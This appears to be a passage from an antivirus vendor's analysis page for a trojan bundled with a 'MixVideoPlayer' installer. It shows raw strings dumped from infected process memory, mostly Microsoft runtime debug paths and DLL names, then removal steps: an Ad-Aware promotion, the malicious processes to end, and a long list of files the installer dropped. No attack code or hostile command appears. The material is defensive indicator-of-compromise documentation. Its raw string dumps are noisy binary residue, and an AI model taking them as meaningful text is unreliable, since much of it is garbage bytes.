connecting to socket address '%s'

resolved name for %s!

resolving name for %s

Warning: destroying an open %s with handle %8.8X

Warning: Disconnecting %s handle %8.8X in context %8.8X at destruction.

IHTTP/1.0

WININET.DLL

Warning: could not get volume information '%s'.

Warning: could not parse the path '%s'. Path is too long.

Warning: could not parse the path '%s'.

CFile exception: %hs, File %s, OS error information = %ld.

user32.dll

AppMsg

WinMsg

CmdRouting

%s: hwnd=0xX, msg = 0xX (0xX, 0xX)

%s: hwnd=0xX, msg = %hs (0xX, 0xX)

%s: Advise item='%s', Format='%s', Ack=%d, Defer Update= %d

%s: Execute '%s'.

0xx

Jf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winctrl2.cpp

Warning: OleInitialize returned scode = %s.

ole32.dll

mscoree.dll

nf:\dd\vctools\crt_bld\self_x86\crt\src\xstring

f:\dd\vctools\vc7libs\ship\atlmfc\src\atl\atls\atldebugapi.cpp

%S(%d) :

ppCategory && pfnCrtDbgReport

f:\dd\vctools\vc7libs\ship\atlmfc\include\atlmem.h

f:\dd\vctools\vc7libs\ship\atlmfc\include\atltime.inl

f:\dd\vctools\vc7libs\ship\atlmfc\include\atlbase.inl

f:\dd\vctools\vc7libs\ship\atlmfc\include\atlcomtime.inl

f:\dd\vctools\vc7libs\ship\atlmfc\include\atlcore.h

f:\dd\vctools\vc7libs\ship\atlmfc\src\atl\atls\allocate.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\atl\atls\atltracemodulemanager.h

f:\dd\vctools\crt_bld\self_x86\crt\src\memcpy_s.c

f:\dd\vctools\crt_bld\self_x86\crt\src\memmove_s.c

mode == _CRT_RPTHOOK_INSTALL || mode == _CRT_RPTHOOK_REMOVE

wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")

memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3)

wcscpy_s(szExeName, 260, L"<program name unknown>")

__crtMessageWindowW

f:\dd\vctools\crt_bld\self_x86\crt\src\vswprint.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tcscat_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c

_CrtCheckMemory()

_CrtIsValidHeapPointer(pUserData)

_CrtSetDbgFlag

(fNewBits==_CRTDBG_REPORT_FLAG) || ((fNewBits & 0x0ffff & ~(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_DELAY_FREE_MEM_DF | _CRTDBG_CHECK_ALWAYS_DF | _CRTDBG_CHECK_CRT_DF | _CRTDBG_LEAK_CHECK_DF) ) == 0)

_CrtMemCheckpoint

f:\dd\vctools\crt_bld\self_x86\crt\src\vsprintf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fclose.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fread.c

f:\dd\vctools\crt_bld\self_x86\crt\src\rewind.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ftell.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fseek.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fopen.c

f:\dd\vctools\crt_bld\self_x86\crt\src\printf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strtol.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tcscpy_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\stat64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wcsicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tmakepath_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tsplitpath_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\fgetc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fputc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ungetc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ungetc_nolock.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\fwrite.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fgetpos.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fsetpos.c

f:\dd\vctools\crt_bld\self_x86\crt\src\loctim64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wprintf.c

nf:\dd\vctools\crt_bld\self_x86\crt\src\strftime.c

("Invalid MBCS character sequence passed to strftime",0)

("Invalid MBCS character sequence passed into strftime",0)

f:\dd\vctools\crt_bld\self_x86\crt\src\malloc.h

("Corrupted pointer passed to _freea", 0)

f:\dd\vctools\crt_bld\self_x86\crt\src\fprintf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mktime64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wcslwr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\atof.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wtof.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wcstol.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wcsupr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsinc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsstr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbschr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tcsncpy_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\wcsdup.c

f:\dd\vctools\crt_bld\self_x86\crt\src\xtoa.c

T_CrtSetReportHook2

strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")

strcpy_s(szExeName, 260, "<program name unknown>")

__crtMessageWindowA

f:\dd\vctools\crt_bld\self_x86\crt\src\fullpath.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fileno.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fdopen.c

f:\dd\vctools\crt_bld\self_x86\crt\src\feoferr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fputws.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fgets.c

f:\dd\vctools\crt_bld\self_x86\crt\src\clearerr.c

fMode == _CRTDBG_REPORT_MODE || (fMode & ~(_CRTDBG_MODE_FILE | _CRTDBG_MODE_DEBUG | _CRTDBG_MODE_WNDW)) == 0

_CrtSetReportMode

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c

nRptType >= 0 && nRptType < _CRT_ERRCNT

wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")

strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")

_VCrtDbgReportA

strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String")

wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error")

_VCrtDbgReportW

((ptloci->lc_category[category].wlocale != NULL) && (ptloci->lc_category[category].wrefcount != NULL)) || ((ptloci->lc_category[category].wlocale == NULL) && (ptloci->lc_category[category].wrefcount == NULL))

f:\dd\vctools\crt_bld\self_x86\crt\src\a_cmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strtod.c

f:\dd\vctools\crt_bld\self_x86\crt\src\gmtime64.c

KERNEL32.DLL

strcat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), rterrs[tblindx].rterrtxt)

strcat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), "\n\n")

strcpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), "Runtime Error!\n\nProgram: ")

_NMSG_WRITE

f:\dd\vctools\crt_bld\self_x86\crt\src\crt0msg.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\eh\typname.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\winsig.c

WUSER32.DLL

f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\intel\fp8.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cvt.c

f:\dd\vctools\crt_bld\self_x86\crt\src\isctype.c

f:\dd\vctools\crt_bld\self_x86\crt\src\expand.c

f:\dd\vctools\crt_bld\self_x86\crt\src\close.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_freebuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_filbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\lseek.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_open.c

f:\dd\vctools\crt_bld\self_x86\crt\src\dtoxtm64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\commit.c

f:\dd\vctools\crt_bld\self_x86\crt\src\write.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ftelli64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fseeki64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\timeset.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stricmp.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\include\strgtold12.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\getcwd.c

strcpy_s(resultstr, resultsize, autofos.man)

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c

f:\dd\vctools\crt_bld\self_x86\crt\src\getqloc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\errmode.c

f:\dd\vctools\crt_bld\self_x86\crt\src\lseeki64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\isatty.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbtowc.c

_loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\tran\contrlfp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_fptostr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wctomb.c

f:\dd\vctools\crt_bld\self_x86\crt\src\open.c

0 && "Only UTF-16 little endian & UTF-8 is supported for reads"

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbicm.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\getenv.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\x10fout.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strnicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wcsnicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\setmode.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbico.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strnicol.c

("CRT Logic error during setenv",0)

__crtsetenv

c:\%original file name%.exe

{8856F961-340A-11D0-A96B-00C04FD705A2}

All Files (*.*)

No error message is available.#Attempted an unsupported operation.$A required resource was unavailable.

Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.

Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else.1Encountered an unexpected error while reading %1.1Encountered an unexpected error while writing %1.

#Unable to load mail system support.

iexplore.exe_1628:

%?9-*09,*19}*09

.text

`.data

.rsrc

msvcrt.dll

KERNEL32.dll

NTDLL.DLL

USER32.dll

SHLWAPI.dll

SHDOCVW.dll

Software\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess

IE-X-X

rsabase.dll

System\CurrentControlSet\Control\Windows

dw15 -x -s %u

watson.microsoft.com

IEWatsonURL

%s -h %u

iedw.exe

Iexplore.XPExceptionFilter

jscript.DLL

mshtml.dll

mlang.dll

urlmon.dll

wininet.dll

shdocvw.DLL

browseui.DLL

comctl32.DLL

IEXPLORE.EXE

iexplore.pdb

ADVAPI32.dll

MsgWaitForMultipleObjects

IExplorer.EXE

IIIIIB(II<.Fg

7?_____ZZSSH%

)z.UUUUUUUU

,....Qym

````2```

{.QLQIIIKGKGKGKGKGKG

;33;33;0

8888880

8887080

browseui.dll

shdocvw.dll

6.00.2900.5512 (xpsp.080413-2105)

Windows

Operating System

6.00.2900.5512

WPFFontCache_v0400.exe_2612:

.text

`.data

@.rsrc

@.reloc

t1Ht.Ht

Ht.Ht

8Y%u(

Ht.Ht$Ht

tGHt;Ht.Ht$Ht

!!"$%%&$%%&())*

%s %s line %d

SHELL32.dll

RPCRT4.dll

MSVCR100_CLR0400.dll

KERNEL32.dll

ADVAPI32.dll

RegNotifyChangeKeyValue

RegCloseKey

RegQueryInfoKeyW

RegOpenKeyExW

GetSystemWindowsDirectoryW

_crt_debugger_hook

_amsg_exit

wpffontcache_v0400.pdb

.?AVMalformedKeyException@@

.?AVNotSupportedException@@

6666666666666666

666666666666

6666666

8888888

!"#$%&'()* ,-./

0000000000000

#@$@$@$@$

@:@$@$@$@$@$@$@$@$@$@$

!"#$%&'()* ,-./0

%&'(gggg)* ,..........................................................................................MMMM..

4444444444444

#$%&'()* 

!!!!"#$%&'()* ,-./0123456789:;<=

KEYW

<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="wpffontcache_v0400" type="win32"></assemblyIdentity><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel></requestedPrivileges></security></trustInfo></assembly>PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPAD

4 4}455<5

:":&:*:.:2:

0!0&0,03090?0

1 1$1(1,1014181

>0>8>`>~>

1$1@1\1|1

Software\Microsoft\Avalon.Graphics

kernel32.dll

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts

MARLETT.TTF

E\\?\

\WPFFontCache_v0400-System.dat

{2da8dded-086f-4cb9-a77f-b974b9cb0186}

\\?\UNC\

{00000000-0000-0000-0000-000000000000}

\\?\Volume

yKERNEL32.DLL

KeySize

ElementMalformedKeyTask

CacheMissReportReceivedTask

wpffontcache_v0400.exe

4.0.30319.1 built by: RTMRel

.NET Framework

4.0.30319.1

MixVideoPlayer.exe_2548_rwx_03D10000_00010000:

PresentationFramework.classic

PresentationFramework.Aero

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):
   

   LTV2.exe:1328
   LTV2.exe:912
   mixvideoplayersetup.exe:224
   

2. Delete the original Trojan file.
   
3. Delete or disinfect the following files created/modified by the Trojan:
   

   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\style[1].css (114 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\progress-level[1].png (4 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\MixVideoPlayerSetup[1].exe (1750362 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\loading-install[1].gif (5 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\i-download[1].png (3 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\msjava[1].dll (465777 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\progress-bar[1].png (3 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\style[1].css (11995 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\bullet-short[1].gif (54 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
   %System%\wbem\Logs\wbemprox.log (225 bytes)
   %Documents and Settings%\%current user%\Local Settings\Application Data\Setup Wizard\0d2b223b-a78d-4f28-97f9-a2022b7c8da0\mixvideoplayersetup.exe (1750362 bytes)
   %Program Files%\MixVideoPlayer\Languages\ChineseT.ini (3 bytes)
   %Program Files%\MixVideoPlayer\LTV2.exe (6 bytes)
   %Program Files%\MixVideoPlayer\Controls\ifishplayer-icon2.ico (12536 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nst3.tmp\NSISdl.dll (14 bytes)
   %Program Files%\MixVideoPlayer\Languages\Polish.ini (3 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nst3.tmp\SimpleSC.dll (1856 bytes)
   %Program Files%\MixVideoPlayer\Languages\Swedish.ini (3 bytes)
   %Program Files%\MixVideoPlayer\Languages\Ukrainian.ini (5 bytes)
   %Program Files%\MixVideoPlayer\FrameworkControl.exe (14184 bytes)
   %Program Files%\MixVideoPlayer\Languages\Lithuanian.ini (3 bytes)
   %Program Files%\MixVideoPlayer\Microsoft.Win32.TaskScheduler.dll (8560 bytes)
   %Program Files%\MixVideoPlayer\references\Newtonsoft.Json.dll (15536 bytes)
   %Program Files%\MixVideoPlayer\policy.2.0.taglib-sharp.dll (3 bytes)
   %Program Files%\MixVideoPlayer\Languages\Indonesian.ini (3 bytes)
   %Program Files%\MixVideoPlayer\references\ffmpeg.exe (202301 bytes)
   %Program Files%\MixVideoPlayer\Languages\Portuguese.ini (3 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nst3.tmp\AccessControl.dll (13 bytes)
   %Program Files%\MixVideoPlayer\Languages\HaitianCreole.ini (3 bytes)
   %Program Files%\MixVideoPlayer\Languages\Arabic.ini (4 bytes)
   %Program Files%\MixVideoPlayer\Languages\Turkish.ini (3 bytes)
   %Program Files%\MixVideoPlayer\Languages\Catalan.ini (3 bytes)
   %Program Files%\MixVideoPlayer\Languages\ChineseS.ini (3 bytes)
   %Program Files%\MixVideoPlayer\Languages\Hebrew.ini (4 bytes)
   %Program Files%\MixVideoPlayer\Languages\Dutch.ini (3 bytes)
   %Program Files%\MixVideoPlayer\dotNetFx40_Full_setup.exe (30344 bytes)
   %Program Files%\MixVideoPlayer\mixvideoplayer.affcode (3 bytes)
   %Program Files%\MixVideoPlayer\Windows\Thumbs.db (1856 bytes)
   %Program Files%\MixVideoPlayer\Languages\Slovak.ini (3 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nst3.tmp\ZipDLL.dll (6360 bytes)
   %Program Files%\MixVideoPlayer\Languages\Finnish.ini (3 bytes)
   %Program Files%\MixVideoPlayer\icon.ico (12536 bytes)
   %Program Files%\MixVideoPlayer\mixvideoplayer.uidnum (23 bytes)
   %Program Files%\MixVideoPlayer\references\policy.2.0.taglib-sharp.dll (3 bytes)
   %Program Files%\MixVideoPlayer\Languages\English.ini (3 bytes)
   %Program Files%\MixVideoPlayer\Languages\Latvian.ini (3 bytes)
   %Program Files%\MixVideoPlayer\policy.2.0.taglib-sharp.config (377 bytes)
   %Program Files%\MixVideoPlayer\Languages\Thai.ini (5 bytes)
   %Program Files%\MixVideoPlayer\references\extvideo.png (146 bytes)
   %Program Files%\MixVideoPlayer\references\folder.png (472 bytes)
   %Program Files%\MixVideoPlayer\BrowserWeb.exe (4992 bytes)
   %Program Files%\MixVideoPlayer\references\extaudio.png (310 bytes)
   %Program Files%\MixVideoPlayer\Languages\Spanish.ini (3 bytes)
   %Program Files%\MixVideoPlayer\references\taglib-sharp.dll (15536 bytes)
   %Program Files%\MixVideoPlayer\references\policy.2.0.taglib-sharp.config (377 bytes)
   %Program Files%\MixVideoPlayer\references\Interop.SHDocVw.dll (5064 bytes)
   %Program Files%\MixVideoPlayer\Languages\Russian.ini (5 bytes)
   %Program Files%\MixVideoPlayer\taglib-sharp.dll (15536 bytes)
   %Program Files%\MixVideoPlayer\mixUpdater.exe (13368 bytes)
   %Program Files%\MixVideoPlayer\references\NDde.dll (3616 bytes)
   %Program Files%\MixVideoPlayer\Snowplow.Tracker.dll (784 bytes)
   %Program Files%\MixVideoPlayer\MixVideoPlayer.exe (83154 bytes)
   %Program Files%\MixVideoPlayer\Languages\Slovenian.ini (3 bytes)
   %Program Files%\MixVideoPlayer\DeleteTasks.exe (10 bytes)
   %Program Files%\MixVideoPlayer\references\Thumbs.db (5 bytes)
   %Program Files%\MixVideoPlayer\references\libreria.png (244 bytes)
   %Program Files%\MixVideoPlayer\Languages\Norwegian.ini (3 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsd2.tmp (178105 bytes)
   %Program Files%\MixVideoPlayer\Languages\Japanese.ini (4 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nst3.tmp\nsProcess.dll (4 bytes)
   %Program Files%\MixVideoPlayer\Languages\Greek.ini (5 bytes)
   %Program Files%\MixVideoPlayer\Languages\Danish.ini (3 bytes)
   %Program Files%\MixVideoPlayer\Languages\Bulgarian.ini (5 bytes)
   %Program Files%\MixVideoPlayer\Languages\Hindi.ini (6 bytes)
   %Program Files%\MixVideoPlayer\Languages\German.ini (3 bytes)
   %Program Files%\MixVideoPlayer\NLog.dll (14184 bytes)
   %Program Files%\MixVideoPlayer\references\PhotoLoader.dll (784 bytes)
   %Program Files%\MixVideoPlayer\Languages\Italian.ini (3 bytes)
   %Program Files%\MixVideoPlayer\Languages\Korean.ini (3 bytes)
   %Program Files%\MixVideoPlayer\PhotoLoader.dll (784 bytes)
   %Program Files%\MixVideoPlayer\Languages\Czech.ini (3 bytes)
   %Program Files%\MixVideoPlayer\Languages\Romanian.ini (3 bytes)
   %Program Files%\MixVideoPlayer\Languages\Hungarian.ini (3 bytes)
   %Program Files%\MixVideoPlayer\icon-uninstall.ico (3616 bytes)
   %Program Files%\MixVideoPlayer\references\mixChecker.exe (27704 bytes)
   %Program Files%\MixVideoPlayer\references\ffmpeg.zip (862334 bytes)
   %Program Files%\MixVideoPlayer\Sider.dll (5064 bytes)
   %Program Files%\MixVideoPlayer\LTVNetSdk.dll (15 bytes)
   %Program Files%\MixVideoPlayer\Languages\French.ini (3 bytes)
   %Program Files%\MixVideoPlayer\Languages\Vietnamese.ini (4 bytes)
   %Program Files%\MixVideoPlayer\Controls\Thumbs.db (1552 bytes)
   %Program Files%\MixVideoPlayer\Newtonsoft.Json.dll (16944 bytes)
   %Program Files%\MixVideoPlayer\Languages\Estonian.ini (3 bytes)
   %Program Files%\MixVideoPlayer\Windows\logopeq-icon.ico (9608 bytes)

4. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
5. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.